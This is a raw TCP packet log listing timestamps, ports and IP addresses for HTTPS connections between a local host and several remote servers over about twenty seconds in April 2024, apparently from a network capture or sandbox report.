Apr 16, 2024 21:39:49.709734917 CEST	443	49754	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.709741116 CEST	49754	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.750560999 CEST	49754	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.750638008 CEST	443	49754	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.761734962 CEST	443	49753	35.190.80.1	192.168.2.4
Apr 16, 2024 21:39:49.761852026 CEST	443	49753	35.190.80.1	192.168.2.4
Apr 16, 2024 21:39:49.762156963 CEST	49753	443	192.168.2.4	35.190.80.1
Apr 16, 2024 21:39:49.762156963 CEST	49753	443	192.168.2.4	35.190.80.1
Apr 16, 2024 21:39:49.762954950 CEST	49756	443	192.168.2.4	35.190.80.1
Apr 16, 2024 21:39:49.762995958 CEST	443	49756	35.190.80.1	192.168.2.4
Apr 16, 2024 21:39:49.763263941 CEST	49756	443	192.168.2.4	35.190.80.1
Apr 16, 2024 21:39:49.763263941 CEST	49756	443	192.168.2.4	35.190.80.1
Apr 16, 2024 21:39:49.763302088 CEST	443	49756	35.190.80.1	192.168.2.4
Apr 16, 2024 21:39:49.876224041 CEST	443	49755	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.885770082 CEST	49755	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.885811090 CEST	443	49755	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.886447906 CEST	443	49755	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.887387037 CEST	49755	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.887562037 CEST	443	49755	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.887603045 CEST	49755	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.928138971 CEST	443	49755	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.929653883 CEST	49755	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.966268063 CEST	443	49754	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.966427088 CEST	443	49754	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.970130920 CEST	49754	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.970601082 CEST	49754	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:49.970633984 CEST	443	49754	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:49.977662086 CEST	443	49756	35.190.80.1	192.168.2.4
Apr 16, 2024 21:39:49.978077888 CEST	49756	443	192.168.2.4	35.190.80.1
Apr 16, 2024 21:39:49.978101015 CEST	443	49756	35.190.80.1	192.168.2.4
Apr 16, 2024 21:39:49.978693008 CEST	443	49756	35.190.80.1	192.168.2.4
Apr 16, 2024 21:39:49.982768059 CEST	49756	443	192.168.2.4	35.190.80.1
Apr 16, 2024 21:39:49.982862949 CEST	443	49756	35.190.80.1	192.168.2.4
Apr 16, 2024 21:39:49.982933998 CEST	49756	443	192.168.2.4	35.190.80.1
Apr 16, 2024 21:39:50.024123907 CEST	443	49756	35.190.80.1	192.168.2.4
Apr 16, 2024 21:39:50.025692940 CEST	49756	443	192.168.2.4	35.190.80.1
Apr 16, 2024 21:39:50.072829008 CEST	49753	443	192.168.2.4	35.190.80.1
Apr 16, 2024 21:39:50.072864056 CEST	443	49753	35.190.80.1	192.168.2.4
Apr 16, 2024 21:39:50.153925896 CEST	443	49755	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:50.154227018 CEST	443	49755	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:50.154287100 CEST	49755	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:50.156486988 CEST	49755	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:50.156505108 CEST	443	49755	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:50.176697969 CEST	49757	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:50.176738024 CEST	443	49757	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:50.176803112 CEST	49757	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:50.177238941 CEST	49757	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:50.177253962 CEST	443	49757	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:50.186419010 CEST	49758	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:50.186495066 CEST	443	49758	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:50.186564922 CEST	49758	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:50.186861038 CEST	49758	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:50.186894894 CEST	443	49758	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:50.214642048 CEST	443	49756	35.190.80.1	192.168.2.4
Apr 16, 2024 21:39:50.214732885 CEST	443	49756	35.190.80.1	192.168.2.4
Apr 16, 2024 21:39:50.214785099 CEST	49756	443	192.168.2.4	35.190.80.1
Apr 16, 2024 21:39:50.215146065 CEST	49756	443	192.168.2.4	35.190.80.1
Apr 16, 2024 21:39:50.215163946 CEST	443	49756	35.190.80.1	192.168.2.4
Apr 16, 2024 21:39:50.215178013 CEST	49756	443	192.168.2.4	35.190.80.1
Apr 16, 2024 21:39:50.215212107 CEST	49756	443	192.168.2.4	35.190.80.1
Apr 16, 2024 21:39:50.390644073 CEST	443	49757	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:50.391455889 CEST	49757	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:50.391472101 CEST	443	49757	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:50.391931057 CEST	443	49757	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:50.393266916 CEST	49757	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:50.393357038 CEST	443	49757	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:50.393651962 CEST	49757	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:50.405194044 CEST	443	49758	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:50.407579899 CEST	49758	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:50.407639980 CEST	443	49758	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:50.408756018 CEST	443	49758	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:50.409431934 CEST	49758	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:50.409590960 CEST	49758	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:50.409612894 CEST	443	49758	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:50.440124989 CEST	443	49757	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:50.462003946 CEST	49758	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:50.670675039 CEST	443	49757	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:50.670948982 CEST	443	49757	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:50.671000957 CEST	49757	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:50.671015024 CEST	443	49757	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:50.671096087 CEST	443	49757	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:50.671143055 CEST	49757	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:50.688839912 CEST	49757	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:50.688865900 CEST	443	49757	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:50.691041946 CEST	443	49758	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:50.691315889 CEST	443	49758	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:50.691380978 CEST	49758	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:50.692390919 CEST	49758	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:50.692420959 CEST	443	49758	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:51.361471891 CEST	49759	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:51.361516953 CEST	443	49759	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:51.361620903 CEST	49759	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:51.361867905 CEST	49759	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:51.361880064 CEST	443	49759	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:51.575059891 CEST	443	49759	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:51.575588942 CEST	49759	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:51.575613976 CEST	443	49759	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:51.575937033 CEST	443	49759	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:51.576613903 CEST	49759	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:51.576658010 CEST	49759	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:51.576662064 CEST	443	49759	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:51.576672077 CEST	443	49759	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:51.576725006 CEST	49759	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:51.576740980 CEST	49759	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:51.576751947 CEST	443	49759	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:51.576823950 CEST	49759	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:51.576831102 CEST	443	49759	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:51.834335089 CEST	443	49759	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:51.834378004 CEST	443	49759	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:51.834398985 CEST	443	49759	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:51.834415913 CEST	443	49759	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:51.834434986 CEST	443	49759	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:51.834445953 CEST	49759	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:51.834472895 CEST	443	49759	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:51.834491014 CEST	49759	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:51.834506989 CEST	443	49759	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:51.834521055 CEST	443	49759	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:51.834528923 CEST	49759	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:51.834538937 CEST	443	49759	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:51.834556103 CEST	49759	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:51.834964037 CEST	443	49759	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:51.834983110 CEST	443	49759	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:51.834999084 CEST	443	49759	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:51.835052967 CEST	49759	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:51.835052967 CEST	49759	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:51.835059881 CEST	443	49759	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:51.835603952 CEST	443	49759	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:51.835630894 CEST	443	49759	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:51.835655928 CEST	443	49759	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:51.835670948 CEST	443	49759	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:51.835692883 CEST	49759	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:51.835697889 CEST	443	49759	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:51.835720062 CEST	49759	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:51.835908890 CEST	49759	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:51.836235046 CEST	443	49759	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:51.836296082 CEST	443	49759	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:51.842487097 CEST	49759	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:51.858804941 CEST	49759	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:51.858835936 CEST	443	49759	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:51.876147985 CEST	49760	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:51.876226902 CEST	443	49760	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:51.876384020 CEST	49760	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:51.876868963 CEST	49760	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:51.876904011 CEST	443	49760	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:52.091372967 CEST	443	49760	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:52.134380102 CEST	49760	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:52.269619942 CEST	49760	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:52.269675016 CEST	443	49760	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:52.270347118 CEST	443	49760	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:52.270917892 CEST	49760	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:52.271004915 CEST	443	49760	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:52.271049976 CEST	49760	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:52.312146902 CEST	443	49760	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:52.313414097 CEST	49760	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:52.388283014 CEST	443	49760	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:52.388411045 CEST	443	49760	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:52.388477087 CEST	49760	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:53.443859100 CEST	443	49737	192.185.88.194	192.168.2.4
Apr 16, 2024 21:39:53.443947077 CEST	443	49737	192.185.88.194	192.168.2.4
Apr 16, 2024 21:39:53.444128990 CEST	49737	443	192.168.2.4	192.185.88.194
Apr 16, 2024 21:39:54.120572090 CEST	49760	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:54.120646000 CEST	443	49760	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:54.559304953 CEST	49737	443	192.168.2.4	192.185.88.194
Apr 16, 2024 21:39:54.559344053 CEST	443	49737	192.185.88.194	192.168.2.4
Apr 16, 2024 21:39:55.397979021 CEST	443	49740	142.250.105.99	192.168.2.4
Apr 16, 2024 21:39:55.398149014 CEST	443	49740	142.250.105.99	192.168.2.4
Apr 16, 2024 21:39:55.398255110 CEST	49740	443	192.168.2.4	142.250.105.99
Apr 16, 2024 21:39:56.950212955 CEST	49740	443	192.168.2.4	142.250.105.99
Apr 16, 2024 21:39:56.950252056 CEST	443	49740	142.250.105.99	192.168.2.4
Apr 16, 2024 21:40:01.999495983 CEST	49767	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:40:01.999553919 CEST	443	49767	104.17.2.184	192.168.2.4
Apr 16, 2024 21:40:01.999936104 CEST	49767	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:40:02.000334024 CEST	49767	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:40:02.000353098 CEST	443	49767	104.17.2.184	192.168.2.4
Apr 16, 2024 21:40:02.213628054 CEST	443	49767	104.17.2.184	192.168.2.4
Apr 16, 2024 21:40:02.213948965 CEST	49767	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:40:02.213988066 CEST	443	49767	104.17.2.184	192.168.2.4
Apr 16, 2024 21:40:02.214354992 CEST	443	49767	104.17.2.184	192.168.2.4
Apr 16, 2024 21:40:02.214878082 CEST	49767	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:40:02.214971066 CEST	443	49767	104.17.2.184	192.168.2.4
Apr 16, 2024 21:40:02.215056896 CEST	49767	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:40:02.215199947 CEST	49767	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:40:02.215235949 CEST	443	49767	104.17.2.184	192.168.2.4
Apr 16, 2024 21:40:02.215341091 CEST	49767	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:40:02.215377092 CEST	443	49767	104.17.2.184	192.168.2.4
Apr 16, 2024 21:40:02.480000973 CEST	443	49767	104.17.2.184	192.168.2.4
Apr 16, 2024 21:40:02.480062008 CEST	443	49767	104.17.2.184	192.168.2.4
Apr 16, 2024 21:40:02.480109930 CEST	443	49767	104.17.2.184	192.168.2.4
Apr 16, 2024 21:40:02.480142117 CEST	49767	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:40:02.480207920 CEST	443	49767	104.17.2.184	192.168.2.4
Apr 16, 2024 21:40:02.480242014 CEST	443	49767	104.17.2.184	192.168.2.4
Apr 16, 2024 21:40:02.480272055 CEST	49767	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:40:02.480303049 CEST	49767	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:40:02.481621981 CEST	49767	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:40:02.481651068 CEST	443	49767	104.17.2.184	192.168.2.4
Apr 16, 2024 21:40:02.489279032 CEST	49768	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:02.489347935 CEST	443	49768	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:02.489424944 CEST	49768	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:02.489810944 CEST	49768	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:02.489839077 CEST	443	49768	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:02.492423058 CEST	49769	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:40:02.492449999 CEST	443	49769	104.17.2.184	192.168.2.4
Apr 16, 2024 21:40:02.492518902 CEST	49769	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:40:02.492836952 CEST	49769	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:40:02.492846012 CEST	443	49769	104.17.2.184	192.168.2.4
Apr 16, 2024 21:40:02.705477953 CEST	443	49769	104.17.2.184	192.168.2.4
Apr 16, 2024 21:40:02.705743074 CEST	49769	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:40:02.705755949 CEST	443	49769	104.17.2.184	192.168.2.4
Apr 16, 2024 21:40:02.706053972 CEST	443	49769	104.17.2.184	192.168.2.4
Apr 16, 2024 21:40:02.706350088 CEST	49769	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:40:02.706393003 CEST	443	49769	104.17.2.184	192.168.2.4
Apr 16, 2024 21:40:02.706986904 CEST	49769	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:40:02.713473082 CEST	443	49768	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:02.713670969 CEST	49768	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:02.713704109 CEST	443	49768	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:02.714027882 CEST	443	49768	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:02.714430094 CEST	49768	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:02.714479923 CEST	443	49768	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:02.714705944 CEST	49768	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:02.714705944 CEST	49768	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:02.714725971 CEST	443	49768	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:02.748115063 CEST	443	49769	104.17.2.184	192.168.2.4
Apr 16, 2024 21:40:02.976994991 CEST	443	49769	104.17.2.184	192.168.2.4
Apr 16, 2024 21:40:02.977360010 CEST	443	49769	104.17.2.184	192.168.2.4
Apr 16, 2024 21:40:02.977482080 CEST	49769	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:40:02.978264093 CEST	49769	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:40:02.978291035 CEST	443	49769	104.17.2.184	192.168.2.4
Apr 16, 2024 21:40:04.614506006 CEST	443	49768	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:04.614727974 CEST	443	49768	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:04.614799976 CEST	49768	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:04.617599964 CEST	49768	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:04.617656946 CEST	443	49768	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:04.636929035 CEST	49770	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:04.636976004 CEST	443	49770	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:04.637053013 CEST	49770	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:04.637404919 CEST	49771	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:04.637442112 CEST	443	49771	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:04.637531996 CEST	49771	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:04.638876915 CEST	49771	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:04.638887882 CEST	443	49771	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:04.639024019 CEST	49770	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:04.639054060 CEST	443	49770	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:04.788573980 CEST	49772	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:04.788599014 CEST	443	49772	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:04.788664103 CEST	49772	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:04.788840055 CEST	49772	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:04.788847923 CEST	443	49772	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:04.860708952 CEST	443	49771	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:04.860928059 CEST	49771	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:04.860987902 CEST	443	49771	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:04.861311913 CEST	443	49771	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:04.861706018 CEST	49771	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:04.861773014 CEST	443	49771	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:04.861835003 CEST	49771	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:04.861864090 CEST	443	49771	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:04.865732908 CEST	443	49770	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:04.865885973 CEST	49770	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:04.865916014 CEST	443	49770	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:04.866255045 CEST	443	49770	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:04.866590977 CEST	49770	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:04.866660118 CEST	443	49770	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:04.914474010 CEST	49770	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:05.011382103 CEST	443	49772	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:05.011699915 CEST	49772	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:05.011732101 CEST	443	49772	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:05.015290976 CEST	443	49772	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:05.015357018 CEST	49772	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:05.015737057 CEST	49772	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:05.015803099 CEST	443	49772	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:05.016016006 CEST	49772	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:05.016026974 CEST	443	49772	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:05.070234060 CEST	49772	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:05.675784111 CEST	443	49772	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:05.675844908 CEST	443	49772	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:05.676031113 CEST	49772	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:05.676543951 CEST	49772	443	192.168.2.4	104.21.84.116
Apr 16, 2024 21:40:05.676561117 CEST	443	49772	104.21.84.116	192.168.2.4
Apr 16, 2024 21:40:06.739696026 CEST	443	49771	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:06.739814043 CEST	443	49771	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:06.739881992 CEST	49771	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:06.739919901 CEST	443	49771	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:06.739950895 CEST	443	49771	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:06.739996910 CEST	49771	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:06.759808064 CEST	49771	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:06.759840965 CEST	443	49771	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:06.785960913 CEST	49773	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:06.786045074 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:06.786128044 CEST	49773	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:06.786484957 CEST	49773	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:06.786520958 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:06.788467884 CEST	49770	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:06.788502932 CEST	443	49770	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:07.009089947 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:07.009610891 CEST	49773	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:07.009670973 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:07.010046959 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:07.010463953 CEST	49773	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:07.010535002 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:07.058584929 CEST	49773	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:07.544715881 CEST	443	49770	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:07.545164108 CEST	443	49770	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:07.545317888 CEST	49770	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:07.547504902 CEST	49770	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:07.547524929 CEST	443	49770	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:07.547523975 CEST	49773	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:07.547631025 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.173518896 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.173607111 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.173638105 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.173666954 CEST	49773	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.173677921 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.173726082 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.173765898 CEST	49773	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.173959017 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.174000025 CEST	49773	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.174014091 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.174112082 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.174140930 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.174165964 CEST	49773	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.174166918 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.174176931 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.174207926 CEST	49773	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.174741983 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.174788952 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.174793959 CEST	49773	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.174806118 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.174845934 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.174859047 CEST	49773	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.174870014 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.174921036 CEST	49773	443	192.168.2.4	172.67.191.147
Apr 16, 2024 21:40:08.175652027 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.175699949 CEST	443	49773	172.67.191.147	192.168.2.4
Apr 16, 2024 21:40:08.175729036 CEST	443	49773	172.67.191.147	192.168.2.4
